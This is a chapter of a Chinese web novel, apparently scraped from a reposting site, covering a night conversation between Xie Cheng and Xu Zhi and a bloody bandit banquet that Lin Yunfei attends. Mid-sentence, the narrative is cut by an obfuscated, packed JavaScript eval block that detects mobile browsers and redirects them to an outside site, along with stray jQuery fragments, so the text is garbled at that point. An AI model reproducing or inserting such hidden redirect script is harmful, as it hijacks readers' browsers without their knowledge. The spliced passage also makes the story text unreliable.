77. 鸿门血宴

    今夜天幕昏暗,尖刀似的弯月被如墨般的残云掩在其后,光华落到地上时格外冷清萧疏。


    夏夜蝉鸣震天,丛中更有促织断断续续地鸣叫。


    空中尚余白日的燥热,谢呈与徐直周身之间的气氛却是寒寂的。


    徐直看向不请自来正仰头望月的青年,问说:“公子是在担心嘉和公主吗?”


    尽管谢呈是当朝国师,徐直在私下却从不那样唤他,像是替谢呈在做某些坚守。


    谢呈不置可否,反问:“先生不担心我的计划会出差池吗?”


    “公子行事并非临时起意,此事的结局在数年筹谋之中早就定下。”徐直摇了摇头,袖间沾染着阅尽千帆的风霜。


    他已到了不知冷暖的年纪,即便是盛夏时节,亦不觉得有多么热。


    “可人算不如天算,”谢呈垂下眼睫,话里别有深意,“纵使机关算尽,我在天道之前也不过是跳梁小丑。”


    谢呈抵达州署有十来天了,这是徐直头一次瞧见他身上外露出如此悲观消极的情绪。


    他不免感到惊异,选择用揶揄代替宽慰:“公子如今才与心上人互许终身,情意和美,怎地突然思忖起这般遥不可及的虚影了?”


    遥不可及。谢呈咂摸着这个词,没跟徐直明说他如今正被造化狠狠戏耍。


    胸腔内的气息似被一股无形之力抽离,让谢呈感到难以喘气。


    但他在徐直的注视中恢复平日的不动声色,极尽平和地说:“先生说的是,是我自扰了。”


    徐直为他圆话:“望月思人,一时感怀,也是人之常情。”


    “对了,今早我收到了京城的来信,”徐直想起一桩事,神色就此变得严肃,“那边拐弯抹角地想探我的口风。”


    “他大抵是开始对我起疑了。”谢呈语气淡淡。


    徐直呷着其中意味,问:“公子觉得我该如何回复他?”


    “他是您的门生,先生但凭自己的心意同他来往便好,用不着顾及我。”偶来一阵夜风撞进谢呈的五内,连带着将他的声音吹散。


    “好。”徐直偏首去看谢呈随肩膀落拓而下的广袖,这件白色罩袍没那么合身,衬得谢呈的身姿愈发清瘦,仿佛孤鸾。


    眼前的青年今年也才二十有二,却无枝可栖,无人可依。


    心头涌上来的怜惜让徐直不禁开口劝说:“公子,其实你可以选择与他坦白的,他未必不会理解你的选择。”


    谢呈眸中寒暖参半,半晌才作答:“他是能臣,而非某一位君主、某一国的能臣,这个关窍终究得靠他自己参透。”


    “我无需他来理解我,恰如他无需我来成就他。”


    “我从未想过要欺瞒他,”谢呈说,“如若他直接来问我,我亦会据实以答。”


    “道理虽是这个道理,但你主动提及与等他来问,总归是不同的。我只怕廷筠性子执拗,到时会因此事记恨上你,与你走向歧路。”假使要让徐直在这两人之间做取舍,他如何也不知该偏重哪一方。


    徐直深深地叹了一口气:“公子,我知晓你素来习惯于独行,也足够强大。但我作为你的长辈,实在不想见到你驻足四望时,发现身旁无人。”


    谢呈闻言心神微动,撩起眼对上徐直期盼的目光,说的却是:“隐而不发与欺骗原是一回事吗?”


    “世人常说‘欺瞒’一词,便是因为常将这两者混为一谈。”


    徐直见青年若有所思,以为或许能够劝动他,接着道:“公子,你也休怪我倚老卖老。但近年来我经常回想起往事,想那些或还有联系或早已分道的故人,心中数次感到懊悔。”


    “彼时觉得就该紧揪着不放的事,就该不妥协弯折讲出的话,现今想来,全成了无法更正的遗憾。所以啊,人与人之间若想长久,何妨彼此都圆融些、坦诚些,毕竟除了生死,哪里又有什么过不去的呢?你说是不是?”


    除了生死,这句话真真如惊雷,叫谢呈的耳畔刹时失声。


    为何他们之间偏偏隔着难以逾越的“生死”呢?他收紧五指,兀自将指骨捏得几近错位。


    “公子,公子?”许久未有得到谢呈的回答,徐直猛一抬目,瞧见青年郁卒的面色。


    谢呈勉强将喉头涌起的血腥气咽下去,神思恍惚地对着徐直弯起唇瓣,算是致意。


    无力再与徐直交谈,而后谢呈犹如走尸一般,僵直地走回厢房。


    *


    因为身处敌营,这一觉林蕴霏睡得并不踏实。


    房门被叩响之时,她甚至不用修蜻提醒,便从床榻上坐了起来。


    “进来吧。”见林蕴霏缓过神,修蜻道。


    阿菊拎着食盒走进来,昨日的不欢而散使得她全然不敢同修蜻与林蕴霏对视。


    好在不一会儿就有人来替她解围,老甲出现在门外,说:“二位吃得差不多了的话,还请随我走吧,大当家已然在正厅等着你们。”


    这便是所谓的鸿门宴了。林蕴霏甩了甩头,试图让自己变得清醒些,好应付接下来的考验。


    “对了,阿菊,”老甲看向安静收拾碗碟的女孩,说,“大当家嘱咐你今日切莫随意走动。”


    阿菊颔首表示明白。


    林蕴霏与修蜻到达正厅时,一道包含着探究意味的目光直直地向他们扫来。


    甫一照面,林蕴霏便猜到了对方的身份,却步山三当家燕往。


    说起来,此人今年已有三十出头,但因生着一张娃娃脸,瞧起来像二十几岁。


    燕往不仅模样长得嫩,衣着也鲜亮,更在眉心之间点着一颗讨喜的朱砂痣。


    此时他嘴角噙着一抹烂漫的笑,愈发显得不涉世事,仿佛极好相与。


    但林蕴霏清楚,他当年能在数十位结伴上却步山的人之中夺得三当家之位,必然是只吃人不吐骨头的笑面虎。


    假作惧怕地将眼移开,林蕴霏跟着修蜻被老甲安排在两张摆放好酒肉的桌案前。


    与适才入肚的熟食不同,眼前的几大盘肉均还带着血丝,散发出的腥味与酒味交织在一起,招惹来蝇子忽远忽近地绕行。


    而在肉之上,插着一把光可鉴人的小刀,像是种威胁与暗示。


    未有休息好的眩晕被这副场景激发出来,林蕴霏强忍下想要作呕的冲动,用余光环视屋内的情形。


    正厅很宽阔,玉阶之上设有三张桌子。


    中间坐着段筹,段筹的右手边坐着三当家燕往,而左手边的位置暂且空着,想来是留给二当家宋载刀的。


    而阶下左右相对各摆着两张桌子,林蕴霏与修蜻坐满左手边的两张。


    至于右手边,仅坐着跛子老胥,另


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411645|137871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一张矮桌上没有放置酒肉,大抵稍后也不会有人来。


    跛子与燕往的身边都各有两位女子服侍,正为两人斟酒喂酒,不时递去如丝媚眼,还将婀娜的身段往他们身上靠。


    燕往顺势揽住乱晃的纤腰,偏首对人低语,逗得女子脸上飞起艳红的云。


    他于是笑得更开怀,任凭佯装羞怒的女子将酒洒在他稍敞开的衣襟,上挑的凤眸中迷离又浪荡,好似适才向林蕴霏投去清明且犀利的目光的人不是他。


    虽不清楚他这副假面是戴给谁看的,但林蕴霏实在没有兴趣多看一眼。


    目光移向落单的跛子,男人却不似燕往那般放松、享受。


    昨日他对着林蕴霏与修蜻表现出来的样子是十足的好/色/之徒,今日得以被美人围住献媚,反倒战战兢兢,汗流浃背。


    也是,背叛宋载刀的他马上要面临被旧主新主夹逼的局面,心里自然煎熬。


    林蕴霏最后去看段筹,男人的周身则无有女子,老甲与两位黑衣大汉立于他身后。


    两位黑衣大汉是生面孔,应是顶替了昨日被受惩的那两人。


    段筹手持着小刀,低头貌似专注地剔骨切肉。


    肉中冒出的血水从他的手背蜿蜒流下来,与他鼓起的青筋纠缠交错,难分彼此。


    “去请过二当家了吗?”又等了一阵子,仍不见宋载刀的身影,段筹转头问老甲。


    他一张口,屋内众人不禁安静下来,原本笑得花枝乱颤的几位美人登时噤若寒蝉。


    察觉到他话中致密的冷峻,老甲低着头回说:“这……已经差了两拨人去请。”


    段筹使力将刀从快被完全拆分的骨肉里拔出来,几滴血溅落在白玉阶上,红白两相对比,异常刺眼。


    “啧,”深邃的沉默刺得人耳朵发疼,此刻段筹的一言一行都牵系着在场众人的心跳,“脏了。”


    老甲当即扑通跪下去,用衣袖将地上的血迹擦拭干净。


    段筹没说满意还是不满意,他便顶着一额头的汗长跪不起。


    燕往瞥了眼敞开的大门,眸底掠过零碎的暗芒:“大当家的,昨日宋兄饮多了酒,大概是还没醒来呢。”


    “索性我们先开动,一来我的肚子属实等不及了,二来如何也不该将那两位新来的美人晾着,”燕往笑眯眯地建议,“你觉着呢?”


    “也好,”段筹深深地望着他的笑脸,终是松了口,“老甲,起来吧。”


    气氛由此恢复流动,老甲像是从虎口脱险一般,提着两条颤抖如筛糠的腿回到原来站立的地方。


    孰料下一瞬就有一道粗犷的声音于门外响起:“对不住啊,大当家,兄弟来晚了。”


    人尚未出现,却有东西先被甩进屋内,在地上滚动了几圈方才停住。


    林蕴霏定睛一看,那是两团血肉模糊之物。


    辨认出其间凌乱如蓬草的是头发,她当即别开脸。然而令人作呕的血腥味无孔不入,林蕴霏忍不住抬手死死捂住口鼻,方才没有将早上吃的那点东西吐出来。


    那几位美人的脸色刹时变得煞白如金纸,一位胆子最小的直接两眼一翻,晕了过去。


    跛子直愣愣地看着距自己仅有几步之遥的头颅,对上那双被发丝遮掩但未曾瞑目的眸子,全身如坠冰窟,就连该怎么呼吸都忘记了。